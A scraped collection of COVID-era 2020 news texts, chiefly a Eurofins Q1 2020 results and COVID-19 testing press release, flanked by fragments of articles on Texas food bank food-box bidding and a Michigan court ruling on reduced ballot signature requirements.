packaging of the boxes, said the source, who asked not to be identified. Food distributors are set up to move products in large packages from manufacturers to primarily restaurants, the industry expert said. They are just not set up to assemble smaller boxes of mixed products. Undaunted, Feeding Texas sent an email to vendors with information designed to help them with the bidding process. We view this as a mutually beneficial opportunity for you, the food banks in our statewide network and the 4.5 million Texas we serve, Feeding Texas email said. Historically, Texas food banks have provided over 500 million pounds of food per year to communities across all 254 counties. Food banks serve people directly and supply food to thousands of community-based charitable food programs across the state. Since the onset of COVID-19, food banks have seen an 88 percent percent increase in demand and have ramped up their operations in response, the email continued. Last month, Texas distributed over 60 million pounds of food to people facing hunger in the wake of the pandemic, according to Feeding Texas. The San Antonio Food Bank alone has distributed 14 million pounds of food since the start of the crisis. Tom Orsborn covers sports news in the San Antonio and Bexar County area. To read more from Tom, become a subscriber. torsborn@express-news.net | Twitter: @tom_orsborn Activity shows strong resilience in Q1 2020 Regulatory News: Eurofins (Paris:ERF): From the onset of the COVID-19 crisis, Eurofins leadership's priority has been to mobilise all available scientific talent and resources to help its clients and the world fight this terrible disease. Few companies in the world have so many and diverse scientific and technological capabilities to develop new solutions and services to combat the COVID-19 pandemic. Over 20 international multidisciplinary scientist groups are working tirelessly across time zones to create new modalities to support healthcare workers and authorities and Eurofins clients in the biopharmaceutical and other industries in their efforts against the disease. The Group can report that strong progress has already been made and expects further breakthroughs in the near future. Meanwhile, in spite of the impact of the lockdowns on some of the Group's companies and their clients, overall Eurofins core business demonstrated strong resilience in Q1 2020. Q1 2020 revenues increased 7% year-on-year to EUR 1,142m from EUR 1,067m in Q1 2019. Solid organic growth 1 of 4.1% was achieved in Q1 2020 (4.6% corrected for Boston Heart Diagnostics and two other laboratories temporarily closed due to a fire), reflecting the strong resilience of Eurofins and its end markets. The impact from the COVID-19 pandemic related lockdowns on Eurofins operations varied across geographies and over time. Social isolation measures mainly affected Eurofins' laboratories in China in February and March, and some of its laboratories operating in Italy, Austria, Spain, France, Germany and the U.S.A. in March. In spite of these headwinds due to temporary lockdowns and thanks to very good performance otherwise, overall organic growth remained strong in Q1 2020. The vast majority of Eurofins' laboratory testing services are deemed essential for many critical supply chains as well as for the health and safety of the population and, therefore, have been allowed to continue operating during most lockdowns imposed by authorities. After a slow start, as this testing was initially reserved to government public health laboratories, from mid-March 2020 SARS-CoV-2 related testing volumes started to grow day after day as some national health authorities began involving private testing laboratories. Overall though, revenues generated in March from this testing remained modest as the Group was still building up its reagents and equipment supply chains and most countries still favoured testing at public hospitals and limited testing to severely ill patients only. As it has since then appeared that government laboratories may not always be able to provide the testing volumes required in order to contribute to support public health authorities in their work, Eurofins is now significantly increasing its testing capacity and the COVID-19 testing reagents production volume of its in vitro diagnostic (IVD) products companies. of 4.1% was achieved in Q1 2020 (4.6% corrected for Boston Heart Diagnostics and two other laboratories temporarily closed due to a fire), reflecting the strong resilience of Eurofins and its end markets. Eurofins is ramping up production to enable over 20 million patients tests per month by end of May 2020 spread over several important modalities. Eurofins teams are fully committed and mobilised to contribute to the global response to the COVID-19 crisis. By leveraging all of its technical capabilities across its global laboratory network, Eurofins has developed one of the most comprehensive testing and service offering to support healthcare practitioners and authorities around the world as well as the biopharmaceutical industry respond to the COVID-19 crisis. Below are some highlights of the Group's testing capacities and solutions already available to customers (more information can be found on pages 6 and 7 of this release): Since March 2020, Eurofins has been offering testing for the evaluation of COVID-19 using real time reverse transcriptase polymerase chain reaction (RT-PCR) method. Several of its laboratories received approval for their laboratory-developed tests (LDTs) by the Food and Drug Administration (FDA) in the U.S.A. and other national authorities. Combining its own LDTs with reagents provided by its suppliers, the Group's goal is to reach a global capacity to carry out in excess of 2 million tests per month by mid-May 2020. Early April, Eurofins started to offer ELISA and CLIA-based serology testing services to detect Antibodies expressed after COVID-19 infection. Global capacity across its laboratory network for these Antibodies testing services is also expected to exceed 2 million tests per month by mid-May 2020. On 17 April 2020, Eurofins also launched serology testing kits to be used by state or private laboratories on most open systems and is expecting to reach a production capacity of over 10 million tests per month by the end of May 2020. Eurofins has launched a number of additional tests that help protect from the virus such as tests to detect the presence of SARS-CoV-2 on environmental surfaces, for example in work or retail environment or to control the quality of Personal Protective Equipment (PPE) and medical equipment. Eurofins Genomics' six sites around the world are increasing their capacity to provide primers and probes to be incorporated in millions of SARS-CoV-2 testing kits produced by IVD companies. On 16 April 2020, they also launched novel and highly efficient genome sequencing services to support research and epidemiology studies to combat COVID-19. The Group has also launched a large number of products and services aimed at supporting research for the development of novel vaccines and therapeutics. The Group's unmatched global network of 35 Biopharma Product Testing laboratories have ramped up capacity to support some of the largest global pharmaceutical and biotechnology companies developing products to fight COVID-19. Since the onset of this pandemic Eurofins is taking a number of measures to protect our employees and ensure we will be able to continue supporting our customers to the high standard they expect from us. We have worked with our teams to implement practices to minimize the risk of infection to both themselves and others. We put in place preventive measures which have been recommended by both the World Health Organization and relevant government and national public health authorities in relation to social distancing and effective hygiene measures to uphold operations essential for customers and society in this difficult situation while ensuring the welfare and health of our staff. In view of the unprecedented uncertainty on the global mid-term economic outlook following the COVID-19 pandemic and in spite of the significant additional work it expects to carry out for the next 18 to 36 months to support the biopharmaceutical industry and public health authorities in their fight against COVID-19, like most companies, Eurofins has also taken measures to protect cash and accelerate reduction of its financial leverage. Very early at the onset of the pandemic, Eurofins implemented conservative measures in terms of capex and M&A spend, as well as with regards to hiring and management of personnel costs in order to minimise its cash outflows until better visibility is obtained on the global economic outlook. As a sign of solidarity with their teams, Eurofins' Board members and the Group's CEO have decided to contribute 25% of their compensation to a solidarity fund during Q2 2020, a period during which some employees of those of the Group's companies most affected by lockdowns have to be furloughed for a number of weeks. Members of the Group Operating Council will also contribute to the solidarity fund through a reduction in compensation in Q2. Broadly in the Group, where it was possible, compensation has been frozen at 2019 levels and decisions on variable compensation for 2019 have been deferred until more visibility on the economic outlook is available. In countries, activities or companies most impacted by the economic effects of lockdowns, several leaders have taken additional personal compensation deferment or reduction steps in solidarity with their affected members of staff. The Group is also implementing reductions of its central overhead costs. In addition, the Eurofins Foundation and Eurofins founders will contribute to the solidarity fund to provide additional support, both financial and non-financial, to some employees and their dependents who may experience exceptional hardship due to the impact of the coronavirus pandemic. In some countries, funds will also be set aside to offer free COVID-19 testing to some Eurofins employees where this is not covered by their medical insurance or other state supported programmes. Like many other firms, some of the Group's companies that were affected by forced lockdowns have also applied for national support measures to mitigate the negative financial impact of the lockdowns and provide relief to furloughed employees. Additionally, in light of the current regulatory context, limited visibility on the global economic outlook and benefits of faster deleveraging, alongside all other precautionary measures, Eurofins management has decided to propose to the June 2020 Annual General Meeting to not distribute a dividend for 2019. Eurofins is well-funded with significant cash on its balance sheet and undrawn long-term credit facilities, which together represented over EUR 1 billion at the end of March 2020, in addition to credit facilities used to back up its commercial paper programme. Due to the unprecedented circumstances linked to the COVID-19 pandemic, the Board of Directors of Eurofins has decided to postpone the Annual General Meeting initially scheduled for 23 April 2020 to 26 June 2020 and hold it by correspondence. Outlook : at this point in time, it is difficult to predict the impact of the COVID-19 pandemic on the remainder of the year, as economic and lockdown situations evolve rapidly in most geographies. Nevertheless, Eurofins is mostly positioned in highly resilient markets with a large and globally diversified network of laboratories active in essential sectors such as Food, Water, BioPharma, Clinical and Genomics testing. Eurofins management expects some of its laboratories to be directly and indirectly affected by lockdowns, especially in April and May 2020. However, other activities are growing very fast due to SARS-CoV-2 related biopharma R&D and COVID-19 testing for medical or workforce protection objectives. The lockdown impact, mostly on those of Eurofins laboratories providing less essential testing services or their clients, is expected to be for the most part temporary and primarily affecting the earlier part of Q2 2020. On the other hand, the additional activity related to COVID-19 testing and biopharma research may unfortunately have to continue for much longer as the virus may stay present in many communities for some amount of time or could start spreading again after the strictest social isolation measures are lifted. As a result, over the full year, while it is impossible yet to make any precise forecasts, the two effects may well compensate each other. Eurofins has thus decided not to withdraw or update the objectives it set for 2020 for its organic development. In view of the unprecedented level of uncertainty, other than for investments to support Eurofins multi-pronged efforts to support the fight against COVID-19, the Group intends nonetheless to be very frugal with its capex, M&A and operating expenses. This should result in faster deleveraging of Eurofins' balance sheet. Better visibility will hopefully be possible when reporting H1 2020 results. Comments from the CEO, Dr. Gilles Martin: "Our mission at Eurofins is Testing for Life. Never is this more true than today, as we put our full energy and commitment towards supporting the fight against this global pandemic. We are a community of people including scientists and entrepreneurs, who are banded together to provide excellence in scientific innovation and service. As the world faces the challenges of COVID-19, at Eurofins we are ever mindful of our vision and the race to bring all of our resources to bear on the saving of lives during this crisis. We are pleased to have the opportunity to contribute on many fronts to the world's fight against COVID-19. Our innovations in testing give healthcare providers additional options in evaluating their patients during this terrible outbreak. Our scientists are working with passion to support their clients in the Biopharma industry developing therapies and vaccines against COVID-19 in record time. Our teams are supporting epidemiologists with new solutions to trace the disease. Others are setting up processes for validating new sources of personal protection equipment or medical devices or working to secure the continued supply of critical infrastructure and essential services such as continued safe drinking water, essential pharmaceutical products, medical devices and important chemical products and the safe food, beverages and agricultural products sold on supermarket shelves, among many others. Eurofins management is also closely monitoring the direct impact that the slower economic activity is having or may have on its operations. Most of the Group's companies had a solid start to the year despite the significant disruptions caused by the COVID-19 pandemic, demonstrating the very resilient and non-cyclical nature of most of the markets we are exposed to. Nonetheless, the Group rapidly responded by taking significant actions to conserve cash and mitigate the potential impact of a prolonged economic downturn on our profitability and cash generation. We remain very confident and excited about the company's long-term prospects given the attractive markets we serve, our industry-leading position and proven growth strategy. We are humbled and honoured to support patients and those healthcare professionals who are working tirelessly to care for those in greatest need due to the challenges of COVID-19. We would like to extend our heartfelt sympathy for those impacted by the virus, and gratitude for the selfless healthcare heroes at the front lines of this terrible pandemic. We are in awe of your sacrifices and compassion and are motivated and honoured to rise up to this challenge to provide support to you and your patients, with the ongoing goal of making a positive contribution. I also want to thank and recognise all Eurofins colleagues who are driving through this challenge. We are working diligently to keep their health and safety at the forefront of all we do. Without them, this would not be possible." Table 1: Q1 2020 Organic Growth Calculation and Revenue Reconciliation EURm (unless otherwise stated) Q1 2019 reported revenues 1,067 Q1 2019 acquisitions revenue part not consolidated in Q1 2019 at Q1 2019 FX rates 23 Q1 2019 revenues of discontinued activities disposals5 -7 Q1 2019 pro-forma revenues (at Q1 2019 FX rates) 1,083 Q1 2020 FX impact on Q1 2019 pro-forma revenues 11 = Q1 2019 pro-forma revenues (at Q1 2020 FX rates) (a) 1,094 Q1 2020 organic scope* revenues (at Q1 2020 FX rates) (b) 1,139 Q1 2020 organic growth rate (b/a-1) 4.1% Q1 2020 acquisitions revenue part consolidated in Q1 2020 at Q1 2020 FX rates 0 Q1 2020 revenues of discontinued activities disposals5 3 Q1 2020 reported revenues 1,142 * Organic scope consists of all companies that were part of the Group as at 01/01/2020. This corresponds to the 2019 pro-forma scope. Table 2: Geographical Revenue Breakdown (EUR m) Q1 2020 As of total Q1 2019 As of total Growth % Europe 624.0 54.6 595.5 55.8 4.8 North America 423.4 37.1 384.6 36.0 10.1 Rest of the World 94.6 8.3 87.4 8.2 8.3 Total 1,142.0 100.0 1,067.5 100.0 7.0 By geography, Eurofins' organic growth for Q1 2020 was 2.0% in Europe, 7.1% in North America and 4.6% in the Rest of the World, reflecting the different timings of COVID-19 disruptions across geographies (early in Q1 for China, early March in Europe and late March in North America). Within Europe, the COVID-19 impact on Q1 2020 organic growth was felt differently across countries. In France and the British Isles (UK and Ireland) Q1 2020 organic growth was slightly negative, in Germany organic growth was slightly positive, in the Nordics it was mid to high single digit whilst in the Benelux organic growth was double digit. Overall, BioPharma services in Europe remained very strong, growing double digit organically, partly driven by a strong performance in France. Clinical diagnostics had a mixed performance between European countries in line with the timing of the involvement of private laboratories in COVID-19 testing by local public authorities. In North America, where organic growth was very strong overall in Q1 2020, both BioPharma services and Clinical Diagnostics grew double digit organically whilst Food testing organic growth was mid to high single digit. The Environment testing business continued its growth and margin improvement trajectory. In the Rest of the World, the COVID-19 impact on Q1 2020 organic growth was also felt differently across countries with double digit organic growth in Japan and Taiwan and mid-to-high single digit organic growth in Australia and India. Brazil and New Zealand were relatively stable whilst China recorded a double digit decline. Eurofins is supporting the global response against the Coronavirus pandemic Eurofins has developed one of the most comprehensive offerings to help healthcare authorities respond to the COVID-19 crisis. The Group has been leveraging all of its technical capabilities across its global laboratory network, including its biopharma services laboratories, to support current and future SARS-CoV-2 testing needs and to continue to explore innovative solutions to further increase the capacity and the range of testing options available. Offering RT-PCR clinical testing services for the qualitative detection of SARS-CoV-2 At the beginning of March, Eurofins started to offer stand-alone real time reverse transcriptase polymerase chain reaction (RT-PCR) tests for the qualitative detection of SARS-CoV-2 in Germany and from 10 March 2020 in the U.S.A. Eurofins has since received authorisations and validations for its RT-PCR Laboratory-Developed Tests (LDTs) for SARS-CoV-2 from a number of healthcare authorities, including Emergency Use Authorization (EUA) from the Food and Drug Administration (FDA) in the U.S. and validation from the National Reference Center in France. At the same time, in the U.S.A., Eurofins also began offering SARS-CoV-2 testing as part of Diatherix' newly updated Target Enriched Multiplex PCR (TEM-PCR) Respiratory Viral Panels as well as a remote sample collection service to support care for kidney transplant recipients during the COVID-19 outbreak. Eurofins is now able to offer the SARS-CoV-2 PCR assay across 23 laboratories in 9 countries (the U.S., Germany, France, Spain, the Netherlands, Brazil, Belgium, Italy and the U.A.E.). Eurofins is also working with the healthcare authorities in the UK, Ireland and India to set up testing capabilities in those countries over the coming weeks. Eurofins is ramping up its testing capacity for this solution from around 10,000 tests per day in late March to reach 100,000 tests per day from mid-May 2020. To be able to ramp up capacity quickly in the face of increasing global demand and tightening supply chain issues, Eurofins is leveraging its strategic relationships with its suppliers as well as its internal capabilities including Eurofins Genomics' six oligonucleotides production sites in the U.S.A., Europe, India and Japan which produce probes, primers and positive controls, key components for RT-PCR testing of SARS-CoV-2. Offering clinical testing services and testing kits for serology-based antibody detection by ELISA in patients that have been exposed to COVID-19 At the start of April, Eurofins started to offer COVID-19 antibody clinical testing services. Serology can be used to complement the PCR swab testing that detects the virus to help diagnose acute infections status and its evolution. It can help estimate the timing of infection. As knowledge develops about the immunity to potential reinfection of patients having previously contracted COVID-19 and recovered, antibodies testing may provide information about statistically reduced contagion risks of and from these persons. Eurofins is now able to offer the COVID-19 antibody testing across 13 laboratories in 7 countries (the U.S.A., France, Germany, Spain, Ireland, the UK and the U.A.E.). Eurofins is also working with healthcare authorities in the Netherlands and Belgium to set up testing capabilities in those countries during the month of May 2020. The Eurofins network had capacity to process around 5,000 serology tests per day at launch and intends to increase its capacity to 100,000 tests per day by mid-May 2020. On 09 April 2020, Eurofins launched a range of testing kits for serology-based antibody detection by ELISA of patients that have been exposed to COVID-19. Through the Group's four factories and partners, Eurofins will be ramping up its capacity to produce kits to carry out over 10 million tests per month by the end of May 2020 to be used by government and private laboratories worldwide on most open ELISA testing systems. Launching a number of solutions to support the research for therapeutics against COVID-19 As the world strives to combat the COVID-19 pandemic, BioPharmaceutical, Government, and non-profit organisations are working diligently to identify new or existing drug modalities that potentially can be used to treat COVID-19 affected populations. Eurofins' scientific expertise and breadth of testing capabilities places the company at the forefront in supporting its clients' mission to accelerate COVID-19 drug and vaccine development and put an end to this crisis. Eurofins Genomics supports scientists from all areas in their essential work by providing them with the right tools to facilitate genomic research on SARS-CoV-2. Detailed knowledge of SARS-CoV-2 and its characteristics is instrumental in order to identify fast and viable solutions to the COVID-19 pandemic. For instance, Eurofins Genomics has launched a series of SARS-CoV-2 plasmid DNA controls that can be used to verify the presence of the SARS-CoV-2 virus. They are intended to be used for both research and development and in vitro diagnostic (IVD) applications. It has also recently launched its "SARS-CoV-2 Full-length Genome Sequencing" service, a new next generation sequencing (NGS) service enabling end-to-end surveillance of the coronavirus genome sequence and mutational drift. This can be key for epidemiology and tracing of outbreaks. Eurofins Discovery, whose mission is to support Pharmaceutical and Biotech companies in their efforts to accelerate drug discovery research and development, is providing expert support in identifying and assessing potential drug targets by leveraging its worldwide presence, depth of scientific experience, and breadth of assays and services. Eurofins BioPharma Product Testing delivers vital COVID-19 testing for all drug modalities and supply chains and has partnered with the world's most innovative Bio/Pharmaceutical firms to advance timely therapies to patients in need.Eurofins BioPharma Product Testing's scientific expertise and breadth of testing capabilities places the company at the forefront in supporting clients' mission to accelerate COVID-19 drug and vaccine development including Antivirals, Vaccines, mAbs, Antibodies, RNA and Testing Kits with a concentration on Raw Materials, Microbiology, Viral, Cell Molecular and Product Testing; Stability and Release Testing/Method Development; Medical Device Testing/ Method Development; and Cell Banking. Through its worldwide presence, depth of scientific experience, and breadth of studies, tests and services, Eurofins Medical Device Testing is providing expert support and testing services for medical devices employed in the fight against COVID-19. Leveraging its position as global leader in Testing for Life In March, Eurofins launched testing solutions for the detection of SARS-CoV-2 on environmental surfaces and Eurofins' laboratories in the U.S.A., South America, Europe and Asia Pacific are currently rolling out this service offering to their customers. The same month, Eurofins also launched a global service offering for testing, inspection and regulatory services focused on medical face masks, gloves and gowns, respiratory protective devices and equipment, its materials and components, as well as disinfectants and hand sanitizers, to serve the increasing demand caused by the severe coronavirus pandemic.Eurofins strives to be the one-stop solution provider for its clients supplying Personal Protective Equipment (PPE) and Medical Devices to the healthcare sector worldwide. Links to all press releases published to date on the COVID-19 pandemic can be found below. You may also visit https://www.eurofins.com/covid-19-response/ for more information. 10 March 2020 "Viracor Eurofins Launches Coronavirus SARS-CoV-2 RT-PCR Test with Same Day Results (12-18 Hours)" https://www.viracor-eurofins.com/about-us/newsroom/news-items/viracor-eurofins-launches-coronavirus-sars-cov-2-rt-pcr-test-with-same-day-results-12-18-hours/ 10 March 2020 "NTD Eurofins Offers Coronavirus SARS-CoV-2 Testing Through Viracor Eurofins" https://www.prnewswire.com/news-releases/ntd-eurofins-offers-coronavirus-sars-cov-2-testing-through-viracor-eurofins-301021070.html?mod=article_inline 12 March 2020 "Eurofins Scientific Supports SARS-CoV-2 Analyses needs in the U.S.A. and in Europe with Multiple Testing Options" https://www.eurofins.com/media-centre/press-releases/2020-03-12/ 16 March 2020 "Diatherix Eurofins launches SARS-CoV-2 virus identification for the COVID-19 respiratory infection" https://www.prnewswire.com/news-releases/diatherix-eurofins-launches-sars-cov-2-virus-identification-for-the-covid-19-respiratory-infection-301024890.html 16 March 2020 "The National Kidney Registry and Viracor Eurofins Announce Coronavirus COVID-19 Rapid Turnaround Transplant Testing for Donors and Recipients" https://www.viracor-eurofins.com/about-us/newsroom/news-items/the-national-kidney-registry-and-viracor-eurofins-announce-coronavirus-covid-19-rapid-turnaround-transplant-testing-for-donors-and-recipients/ 18 March 2020 "Eurofins Transplant Genomics and Viracor Will Partner to Offer Remote Sample Collection Options to Support Care for Kidney Transplant Recipients During COVID-19 Outbreak" https://www.prnewswire.com/news-releases/eurofins-transplant-genomics-and-viracor-will-partner-to-offer-remote-sample-collection-options-to-support-care-for-kidney-transplant-recipients-during-covid-19-outbreak-301026371.html?tc=eml_cleartime 19 March 2020 "Eurofins Scientific Supports Healthcare Authorities in Europe, the U.S.A. and Brazil in their Fight against the COVID-19 Pandemic with Additional Testing Options and Fast Growing Capacity" https://www.eurofins.com/media-centre/press-releases/2020-03-19/ 27 March 2020 "Eurofins Technologies launches testing solutions for the detection of SARS-CoV-2 on environmental surfaces" https://www.eurofins.com/media-centre/press-releases/2020-03-27/ 30 March 2020 "Announcing Labs@HOME, an In-Home Mobile Phlebotomy Blood Draw Service for Post-Transplant Patient Testing During COVID-19" https://www.viracor-eurofins.com/about-us/newsroom/news-items/announcing-labs-home-an-in-home-mobile-phlebotomy-blood-draw-service-for-post-transplant-patient-testing-during-covid-19/ 03 April 2020 "Eurofins' U.S. Clinical Diagnostics Network Launches Coronavirus (COVID-19) Antibody Testing" https://bostonheartdiagnostics.com/news/eurofins-u-s-clinical-diagnostics-network-launches-coronavirus-covid-19-antibody-testing/ 06 April 2020 "Eurofins Scientific Offers a full range of Testing services for Personal Protective Equipment (PPEs) and Medical Devices used in the fight against the COVID pandemic" https://www.eurofins.com/media-centre/press-releases/2020-04-06/ 07 April 2020 "The National Kidney Registry and Viracor Eurofins Announce Coronavirus Antibody Testing for Donors and Recipients" https://www.viracor-eurofins.com/about-us/newsroom/news-items/the-national-kidney-registry-and-viracor-eurofins-announce-coronavirus-antibody-testing-for-donors-and-recipients/ 08 April 2020 "Viracor Eurofins Receives Emergency Use Authorization (EUA) from the U.S. Food and Drug Administration (FDA) for its SARS-CoV-2 RT-PCR laboratory-developed test (LDT)" https://www.viracor-eurofins.com/about-us/newsroom/news-items/viracor-eurofins-receives-emergency-use-authorization-eua-from-the-us-food-and-drug-administration-fda-for-its-sars-cov-2-rt-pcr-laboratory-developed-test-ldt/ 09 April 2020 "Eurofins Technologies launches multiple new products for the serologic detection of antibodies in patients who have been exposed to COVID-19" https://www.eurofins.com/media-centre/press-releases/2020-04-09/ 13 April 2020 "Eurofins Discovery Supports Critical COVID-19 Drug Discovery Research with Products and Accelerated Drug Discovery Services" https://www.prnewswire.com/news-releases/eurofins-discovery-supports-critical-covid-19-drug-discovery-research-with-products-and-accelerated-drug-discovery-services-301038986.html 14 April 2020 "Eurofins Genomics U.S. launches new SARS-CoV-2 plasmid DNA controls and increases its capacity to produce probes and primers, all of which being key components of SARS-CoV-2 RT-PCR testing" https://www.eurofinsgenomics.com/en/about-us/news/all/covid-19-plasmid-control-launch/ 16 April 2020 "Eurofins Genomics launches "SARS-CoV-2 Full-length Genome Sequencing" service to support researchers globally in their fight against the COVID-19 pandemic and outbreak source tracing" https://www.eurofins.com/media-centre/press-releases/2020-04-16/ 17 April 2020 "Eurofins Technologies launches multiple CE-IVD marked serologic products for the detection of antibodies in patients who have been exposed to SARS-CoV-2 (COVID-19)" https://www.eurofins.com/media-centre/press-releases/2020-04-17/ 17 April 2020 "Gold Standard Diagnostics COVID-19 Antibody Tests Now Available" https://www.businesswire.com/news/home/20200417005047/en/Gold-Standard-Diagnostics-COVID-19-Antibody-Tests 20 April 2020 "Eurofins BioPharma Product Testing delivers vital COVID-19 testing for all drug modalities and supply chains" https://www.eurofins.com/biopharma-services/product-testing/news-events/press-releases/covid-19-testing/ 21 April 2020 "Eurofins Medical Device Testing commitment to support the safety and efficacy of devices used in the COVID-19 Crisis Response" https://www.eurofins.com/medical-device/news-events/press-releases/covid-19-testing/ More information on Eurofins' COVID 19 testing services and the details of methods used therefore are available here https://the-dna-universe.com/covid19/ 1 Organic growth for a given period (Q1, Q2, Q3, Half Year, Nine Months or Full Year) non-IFRS measure calculating the growth in revenues during that period between 2 successive years for the same scope of businesses using the same exchange rates (of year Y) but excluding discontinued operations5. For the purpose of organic growth calculation for year Y, the relevant scope used is the scope of businesses that have been consolidated in the Group's income statement of the previous financial year (Y-1). Revenue contribution from companies acquired in the course of Y-1 but not consolidated for the full year are adjusted as if they had been consolidated as from 01 January Y-1. All revenues from businesses acquired since 01 January Y are excluded from the calculation. 2 Adjusted reflects the ongoing performance of the mature4 and recurring activities excluding "separately disclosed items3 3 Separately disclosed items includes one-off costs from integration, reorganisation, discontinued operations5 and other non-recurring income and costs, temporary losses and other costs related to network expansion, start-ups and new acquisitions undergoing significant restructuring, share-based payment charge6, impairment of goodwill, amortisation of acquired intangible assets, negative goodwill, loss/gain on disposal and transaction costs related to acquisitions as well as income from reversal of such costs and from unused amounts due for business acquisitions, net finance costs related to borrowing and investing excess cash and one-off financial effects (net of finance income) and the related tax effects. 4 Mature scope: excludes start-ups and acquisitions in significant restructuring. A business will generally be considered mature when: i) The Group's systems, structure and processes have been deployed; ii) It has been audited, accredited and qualified and used by the relevant regulatory bodies and the targeted client base; iii) It no longer requires above-average annual capital expenditures, exceptional restructuring or abnormally large costs with respect to current revenues for deploying new Group IT systems. The list of entities classified as mature is reviewed at the beginning of each year and is relevant for the whole year. 5 Discontinued activities disposals: discontinued operations are a component of the Group's core business or product lines that have been disposed of, or liquidated; or a specific business unit or a branch of a business unit that has been shut down or terminated, and is reported separately from continued operations. Disposals correspond to the sale by Eurofins of business assets to a third party. For more information, please refer to Note 3.18 of the Consolidated Financial Statements for the year ended 31 December 2019. 6 Share-based payment charge and acquisition-related expenses, net Share-based payment charge, impairment of goodwill, amortisation of acquired intangible assets, loss/gain on disposal, negative goodwill and transaction costs related to acquisitions as well as income from reversal of such costs and from unused amounts due for business acquisitions. Conference Call Eurofins will hold a conference call with analysts and investors today at 15:00 pm CET to discuss the results and the performance of Eurofins, as well as its outlook, and will be followed by a questions and answers (Q&A) session. Click here to Join Call > No need to dial in. From any device, click the link above to join the conference call. Alternatively you may dial-in to the conference call via telephone using one of the numbers below (no pincode is required UK +44 3333 009 272 U.S. +1 833 526 8380 France +33 170 750 719 Germany +49 692 2222 0380 For more information, please visit www.eurofins.com Notes for the editor: About Eurofins a global leader in bio-analysis Eurofins Scientific, through its subsidiaries (hereinafter "Eurofins" or "the Group"), believes it is a global leader in food, environmental, pharmaceutical and cosmetics products testing and in agroscience CRO services. It is also one of the global independent market leaders in certain testing and laboratory services for genomics, discovery pharmacology, forensics, CDMO, advanced material sciences and in the support of clinical studies. In addition, Eurofins is one of the leading global emerging players in esoteric clinical diagnostic testing. With over 47,000 staff across a network of more than 900 independent companies in over 50 countries generally specialised by end client markets and operating more than 800 laboratories, Eurofins offers a portfolio of over 200,000 analytical methods to evaluate the safety, identity, composition, authenticity, origin, traceability and purity of biological substances and products, as well as providing innovative clinical diagnostic testing services. The Group's objective is to provide customers with high-quality and innovative services, accurate results on time and, when requested, expert advice by its highly-qualified staff. Eurofins is committed to pursuing its dynamic growth strategy by expanding both its technology portfolio and its geographic reach. Through R&D and acquisitions, the Group draws on the latest developments in the field of biotechnology and analytical chemistry to offer its clients unique analytical solutions and a very large range of testing methods. As one of the most innovative and quality-oriented international companies in its industry, Eurofins is ideally positioned to support its clients' increasingly stringent quality and safety standards and the increasing demands of regulatory authorities and healthcare practitioners around the world. Shares in Eurofins Scientific are listed on the Euronext Paris Stock Exchange (ISIN FR0000038259, Reuters EUFI.PA, Bloomberg ERF FP). Until it has been lawfully made public widely by Eurofins through approved distribution channels, this document contains inside information for the purpose of Regulation (EU) 596/2014 of the European Parliament and of the Council of 16 April 2014 on market abuse, as amended. Important disclaimer: This press release contains forward-looking statements and estimates that involve risks and uncertainties. The forward-looking statements and estimates contained herein represent the judgment of Eurofins Scientific's management as of the date of this release. These forward-looking statements are not guarantees for future performance, and the forward-looking events discussed in this release may not occur. Eurofins Scientific disclaims any intent or obligation to update any of these forward-looking statements and estimates. All statements and estimates are made based on the information available to the Company's management as of the date of publication, but no guarantees can be made as to their completeness or validity. Eurofins provides in the Income Statement certain alternative performance measures (non-IFRS information such as "Adjusted Results2 and Separately Disclosed Items3") that exclude certain items because of the nature of these items and the impact they have on the analysis of underlying business performance and trends. In addition, Eurofins shows the following measures: "Organic growth1" with the objective to be close and consistent with the information used in internal Group reporting to measure the performance of Group companies and information published by other companies in the sector. Management believes that providing these APMs (Alternative Performance Measures) enhances investors' understanding of the company's core operating results and future prospects, consistent with how management measures and forecasts the company's performance, especially when comparing such results to previous periods or forecasts and to the performance of our competitors. This information should be considered in addition to, but not in lieu of, information prepared in accordance with IFRS. These APMs are described in more detail in the Consolidated Financial Statements 2019 in Notes 1.27 and 1.28. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005916/en/ Contacts: For more information, please visit www.eurofins.com or contact: Investor Relations Eurofins Scientific Phone: +32 2 766 1620 E-mail: ir@eurofins.com Michigan candidates running for office in the August primary will be granted a 50-percent reduction of required petition signatures after a federal judge denied the states request to reverse that decision. Assistant Attorney General Heather Meingast argued last week that granting the reduction could cause ballots to become cluttered with candidates who normally would not be able to gather enough local support to run for office. The state filed a motion requesting the court to omit the signature reduction or stay execution of that part of the order pending appeal to the U.S. Court of Appeals. But U.S. District Judge Terrance Berg held firm on his prior ruling that the 50 percent reduction was necessary due to the hurdles to signature collection in place due to the COVID-19 pandemic and the governors stay-at-home order to reduce the spread of the virus. He filed his ruling Saturday, April 25. Consequently, the Court finds that the 50% reduction is warranted, and defendants have failed to demonstrate that they are likely to prove this court abused its discretion in reducing the signature requirement by 50 percent on appeal, Berg wrote in his order. The request for a stay will therefore be denied. Attempts by MLive to contact the governors office for comment Tuesday were not immediately successful. Related: Reduced signature requirements could clutter ballots, state argues in appeal of ruling on primary candidates Eric Esshaki, a Republican U.S. House candidate, filed a lawsuit against Michigan Gov. Gretchen Whitmer, Secretary of State Jocelyn Benson and Director of Elections Jonathan Brater for allegedly making it more difficult to obtain ballot signatures while residents are following an emergency order to stay in their homes. Esshaki asked for an extension of the April 21 filing deadline and a reduction to the number of constituent signatures needed to appear on the August primary ballot. On April 20, Berg ruled in favor of Esshaki and the other candidates who argued that they would have been able to collect the necessary signatures if not for the health crisis-related executive orders. "The reality on the ground for plaintiff and other candidates is that state action has pulled the rug out from under their ability to collect signatures," Berg wrote. Since March 23, 2020, traditional door-to-door signature collecting has become a misdemeanor offense; malls, churches and schools and other public venues where signatures might be gathered have been shuttered, and even the ability to rely on the mail to gather signatures is uncertain if not prohibitively expensive. Candidates for U.S. Congress must collect at least 1,000 signatures from registered voters. Judicial candidates across the state have to collect 40 to 6,200 signatures, depending on the race. Berg cut the signature requirements by 50 percent and pushed the filing deadline back to May 8. He also ordered that the state allow electronic signature collection and submission for the 2020 election. Related: These are not normal times: Judge moves filing deadline, cuts signature requirements for primary candidates Last week, the state of Michigan said it was OK with the new deadline and digital signatures, but pushed back on the adjusted signature requirement. Meingast submitted new evidence that showed Esshaki was able to collect enough signatures after he filed his lawsuit, which suggested the reduction wasnt necessary. Esshaki said the recent outpouring of support was likely because of the press coverage of his lawsuit. Other plaintiffs including Deana Beard, candidate for the 3rd Circuit Court in Wayne County, and Matt Savich, candidate for the 47th District Court in Oakland County, said they were still in need of the reduction. This is a statewide problem and candidates like myself, if you take away the reduction, you are taking me off the ballot and I would have been on the ballot if not for the executive 